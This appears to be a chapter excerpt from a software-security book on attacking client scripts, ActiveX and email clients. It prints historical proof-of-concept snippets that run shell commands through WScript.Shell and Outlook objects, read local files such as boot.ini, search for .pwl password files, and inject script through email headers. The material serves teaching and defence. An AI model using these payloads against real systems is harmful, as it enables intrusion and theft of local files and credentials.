Client Scripts and Malicious Code

Prev don't be afraid of buying books Next

Client Scripts and Malicious Code "The 'IloveYou' virus contaminated over 1 million computers in 5 hours."[4] [4] US Office of the Undersecretary of Defense, February 2001. Client programs such as Microsoft Excel, Word, or Internet Explorer are capable of executing code that is downloaded from untrusted sources. Because of this, they create an environment in which viruses and worms can thrive. In fact, until recently, the fastest spreading and most widespread viruses of all time all exploited scripting problems: Concept (1997), Melissa (1999), IloveYou (2000), NIMDA (2002). The key to attacking a client program is identifying the local objects and API calls that a client script can access. Many of these library functions can be exploited to gain access to the local system. Consider a target network of a few thousand nodes. Realize that many of these systems are running the same client software, the same version of Windows, the same e-mail clients, and so forth. This creates a monoculture environment in which a single worm can wipe out (or, worse yet, silently own) a substantial percentage of the target network. Using reverse engineering tricks (described in Chapter 3), an attacker can identify weak library calls and develop a virus that will install backdoors, e-mail sniffers, and database attack tools. * Attack Example: Excel Host() Function The Host() function, when embedded in office documents, can be used in an attack. * Attack Example: WScript.Shell The wscript engine is a useful attack target that can access the Windows registry and run shell commands: Myobj = new ActiveXObject("WScript.Shell"); Myobj.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /C DIR C:\\ /A /P /S"); * Attack Example: Scripting.FileSystemObject The FileSystemObject is very commonly used by scripted worms. It can be used to manipulate both ASCII and binary files on the system. * Attack Example: Wscript.Network The Wscript network call can be used to map network drives. * Attack Example: Scriptlet.TypeLib The TypeLib scriptlet can be used to create files. An attacker can use this to place script copies in certain locations on network drives so they will be executed on reboot. Auditing for Weak Local Calls A good way to begin applying this technique is to look for controls that access the local system or the local network, including local system calls. A short and incomplete search of the registry under Windows XP reveals some of the DLLs that are responsible for servicing interesting scripting calls: scrrun.dll Scripting.FilesystemObject Scripting.Encoder wbemdisp.dll WbemScripting.SWbemDateTime.1 WbemScripting.SWbemObjectPath.1 WbemScripting.SWbemSink.1 WbemScripting.SWbemLocator.1 wshext.dll Scripting.Signer Running a dependency tree analysis on scrrun.dll reveals the inherent capability of the DLL. In other words, such an exercise tells what scripts are able to do given the right instructions. The "depends" tool is useful for determining what calls can be made from a particular DLL. The tool comes with the standard development tools supplied by Microsoft (Figure 5-2). Figure 5-2. A screen shot of the "depends" tool results for the SCRRUN DLL. Looking at the dependencies reveals information that can be leveraged in an attack. [View full size image] Using depends, we can determine that SCRRUN uses the following functions from imported DLLs: ADVAPI32.DLL IsTextUnicode RegCloseKey RegCreateKeyA RegDeleteKeyA RegEnumKeyA RegOpenKeyA RegOpenKeyExA RegQueryInfoKeyA RegQueryValueA RegSetValueA RegSetValueExA KERNEL32.DLL CloseHandle CompareStringA CompareStringW CopyFileA CopyFileW CreateDirectoryA CreateDirectoryW CreateFileA CreateFileW DeleteCriticalSection DeleteFileA DeleteFileW EnterCriticalSection FileTimeToLocalFileTime FileTimeToSystemTime FindClose FindFirstFileA FindFirstFileW FindNextFileA FindNextFileW FreeLibrary GetDiskFreeSpaceA GetDiskFreeSpaceW GetDriveTypeA GetDriveTypeW GetFileAttributesA GetFileAttributesW GetFileInformationByHandle GetFileType GetFullPathNameA GetFullPathNameW GetLastError GetLocaleInfoA GetLogicalDrives GetModuleFileNameA GetModuleHandleA GetProcAddress GetShortPathNameA GetShortPathNameW GetStdHandle GetSystemDirectoryA GetSystemDirectoryW GetTempPathA GetTempPathW GetTickCount GetUserDefaultLCID GetVersion GetVersionExA GetVolumeInformationA GetVolumeInformationW GetWindowsDirectoryA GetWindowsDirectoryW InitializeCriticalSection InterlockedDecrement InterlockedIncrement LCMapStringA LCMapStringW LeaveCriticalSection LoadLibraryA MoveFileA MoveFileW MultiByteToWideChar ReadFile RemoveDirectoryA RemoveDirectoryW SetErrorMode SetFileAttributesA SetFileAttributesW SetFilePointer SetLastError SetVolumeLabelA SetVolumeLabelW WideCharToMultiByte WriteConsoleW WriteFile lstrcatA lstrcatW lstrcpyA lstrcpyW lstrlenA USER32.DLL CharNextA LoadStringA wsprintfA OLE32.DLL CLSIDFromProgID CLSIDFromString CoCreateInstance CoGetMalloc StringFromCLSID StringFromGUID2 OLEAUT32.DLL 2 (0x0002) 4 (0x0004) 5 (0x0005) 6 (0x0006) 7 (0x0007) 9 (0x0009) 10 (0x000A) 15 (0x000F) 16 (0x0010) 21 (0x0015) 22 (0x0016) 72 (0x0048) 100 (0x0064) 101 (0x0065) 102 (0x0066) 147 (0x0093) 161 (0x00A1) 162 (0x00A2) 165 (0x00A5) 166 (0x00A6) 183 (0x00B7) 186 (0x00BA) 192 (0x00C0) 216 (0x00D8) MSVCRT.DLL ??2@YAPAXI@Z ??3@YAXPAX@Z __dllonexit _adjust_fdiv _initterm _ismbblead _itoa _itow _mbsdec _mbsicmp _mbsnbcpy _mbsnbicmp _onexit _purecall _wcsicmp _wcsnicmp free isalpha iswalpha malloc memmove rand sprintf srand strncpy tolower toupper wcscmp wcscpy wcslen wcsncpy VERSION.DLL GetFileVersionInfoA GetFileVersionInfoSizeA GetFileVersionInfoSizeW GetFileVersionInfoW VerQueryValueA VerQueryValueW This list is interesting because it shows what scrrun.dll might be able to do on behalf of a script. Not all the calls listed here are necessarily exposed directly to a script, but many of them are. Think in terms of the lock-picking analogy we discuss in previous chapters. A script provides one way of picking the logical locks between you and the library call you're after. Many of these library calls will be exploitable from a script, given the right circumstances. Web Browsers and ActiveX The modern Web browser has evolved into an execution sandbox for mobile code. The browser is thus a fat client that runs largely untrusted code. This might not be such a big problem, except that the browser is usually not properly segmented from the host OS. Even "secure" mobile code systems, like Java VMs, have histories of flaws that allowed attackers to circumvent sandbox security.[5] [5] For more on mobile code security, sandboxing, and related security problems, see Securing Java [McGraw and Felten, 1998]. In the case of Microsoft technology, the problem is many times worse than with other systems. The COM/DCOM technology (sometimes packaged as ActiveX, and most recently referred to as .NET) exposes enormous couplings between host system services and potentially malicious code. Exploits have been unearthed by the dozens in the layer between the browser and ActiveX. Many of these vulnerabilities allow scripts to access the local file system. To understand the depth of this problem, take any ActiveX function that accepts a URL and supply a local file instead. Many of the relative path problems that we outlined in previous chapters can be directly applied. Attempts to encode the filename in various ways combined with relative path traversal will yield successful exploits. ActiveX is a fertile hunting ground for exploits. In a way, the layer between scripts and the OS provides yet another trust zone where classic input attacks can be launched. As a result, most of the generic tricks that apply to server input (see Chapter 4) can be applied here as well, with the twist being that this time we target the client. Attack Pattern: Passing Local Filenames to Functions That Expect a URL Use local filenames with functions that expect to consume a URL. Find interesting connections. * Attack Example: Local Filenames and the ActiveX Preloader Microsoft ships a module with Internet Explorer called the preloader. This module can be accessed from a script to read files on the local hard drive. The Javascript code follows: <script LANGUAGE="JavaScript"> <!— function attack() { preloader.Enable=0; preloader.URL = "c:\\boot.ini"; preloader.Enable=1; } //—> </script> <script LANGUAGE="JavaScript" FOR="preloader" EVENT="Complete()"> // We are here if we found the file. </script> <a href="javascript:attack()">click here to get boot.ini file</a> * Attack Example: The Internet Explorer GetObject() Call Internet Explorer includes a function call that can be used in any number of attacks: DD=GetObject("http://"+location.host+"/../../../../../../boot.ini","htmlfile"); DD=GetObject("c:\\boot.ini","htmlfile") Access the text of a target file using DD.body.innerText * Attack Example: ixsso.query ActiveX Object Yet another ActiveX object suffers from similar problems: nn=new ActiveXObject("ixsso.query"); nn.Catalog="System"; nn.query='@filename = *.pwl '; ActiveX makes a potent ally to attackers. E-mail Injection Pervasive messaging systems also present opportunities to extend the idea of client-side injection. Messaging systems in general are designed to take a block of data and place it in a target environment where it can then be interpreted. Consider pagers, SMS messaging, and e-mail systems. An attacker can easily explore the input space of a message by injecting character sequences and observing the result. In the case of e-mail, the client program may be very complex, at least as complex as a Web browser interface. This means that the same tricks that can be applied to a client-side injection against a browser terminal can also be applied in an e-mail message. The content to be injected into a message may exist in any part of the mail header or body. This may include the e-mail subject, recipient field, or even the resolved DNS name of a host. Attack Pattern: Meta-characters in E-mail Header Meta-characters can be supplied in an e-mail header and may be consumed by the client software to interesting effect. * Attack Example: Meta-characters and the FML Mailing List Archive[6] [6] Discovery of this problem is attributed Wichert Akkerman (wichert@wiggy.net). When the FML application generates an archive index of stored messages, it blindly includes the subject header and fails to strip any embedded script or HTML codes. The result is an index report that, when viewed in a browser terminal, includes the attacker-supplied script codes. Similar attacks can be carried out against the Subject field, the FROM field (especially with HTML), the TO field (HTML again), and the mail body itself. * Attack Example: Outlook XP and HTML on Reply or Forward Outlook XP will run HTML embedded in an e-mail body when the user chooses reply or forward. The following HTML snippet is interesting to try: <OBJECT id=WebBrowser1 height=150 width=300 classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2> <PARAM NAME="ExtentX" VALUE="7938"> <PARAM NAME="ExtentY" VALUE="3969"> <PARAM NAME="ViewMode" VALUE="0"> <PARAM NAME="Offline" VALUE="0"> <PARAM NAME="Silent" VALUE="0"> <PARAM NAME="RegisterAsBrowser" VALUE="1"> <PARAM NAME="RegisterAsDropTarget" VALUE="1"> <PARAM NAME="AutoArrange" VALUE="0"> <PARAM NAME="NoClientEdge" VALUE="0"> <PARAM NAME="AlignLeft" VALUE="0"> <PARAM NAME="ViewID" VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}"> <PARAM NAME="Location" VALUE="about:/dev/random&lt;script&gt;while (42) alert('Warning – this is a script attack!')&lt;/script&gt;"> <PARAM NAME="ReadyState" VALUE="4"> * Attack Example: The Outlook Application Object Microsoft's Outlook application object provides a powerful control that exposes system-level command execution. This object is used by many virus writers to create a propagation vector: NN = MySession.Session.Application.CreateObject("Wscript.Shell"); NN.Run("c:\\WINNT\\SYSTEM32\\CMD.EXE /C dir"); Visual Basic can also be used to access this functionality. Note that VB access to Microsoft problems is common. Set myApp = CreateObject("Outlook.Application") MyApp.CreateObject("Wscript.Shell"); * Attack Example: Microsoft Outlook View Control The "selection" property of the Outlook View Control exposes the user's e-mail to a script, as well as exposes the Outlook Application Object. To create an Outlook View Control and a script that lists the contents of the C: drive, try this: <object id="view_control" classid="clsid:0006F063-0000-0000-C000-000000000046"> <param name="folder" value="Inbox"> </object> <script> function myfunc() { // Do something evil here. mySelection = o1.object.selection; myItem = mySelection.Item(1); mySession = myItem.Session.Application.CreateObject("WScript.Shell"); mySession.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ "); } setTimeout("myfunc()",1000); </script> * Attack Example: Horde IMP A remote user can create a malicious HTML-based e-mail message such that when the message is viewed, arbitrary code is executed by the target user's browser. The code will appear to originate from the mail server and will thus be able to access the user's Web mail cookies and forward those cookies to another location. Because the e-mail is being viewed from a trusted server (you trust your e-mail server, right?) the browser trusts the e-mail server. This includes extending trust to any embedded script. Clearly arbitrary e-mail messages themselves should not be trusted. This is a serious flaw in the design of the product. Using the right kind of scripts an attacker can, for example, steal the cookies associated with a Web session. In many cases, if an attacker gets the right cookies, the same rights and privileges as the original user will be transferred to the attacker. Thus, after obtaining the cookies, the attacker can "impersonate" the original user and read their e-mail. * Attack Example: Baltimore Technologies MailSweeper At one time, a remote user could place Javascript or VBscript within certain HTML tags to circumvent the filtering that Baltimore's MailSweeper uses. For example, the following two HTML tags were not properly filtered by the product: <A HREF="javascript:alert('This is an attack')">Click here</A> <IMG SRC="javascript:alert('This is an attack')"> * Attack Example: Hotmail Java Tag Filtering In an older version of Hotmail, users could embed script in the FROM field when they sent e-mail. This would not be filtered. For example, an attack might involve pasting the following script into the FROM field: a background=javascript:alert('this is an attack') @hotmail.com

	Amazon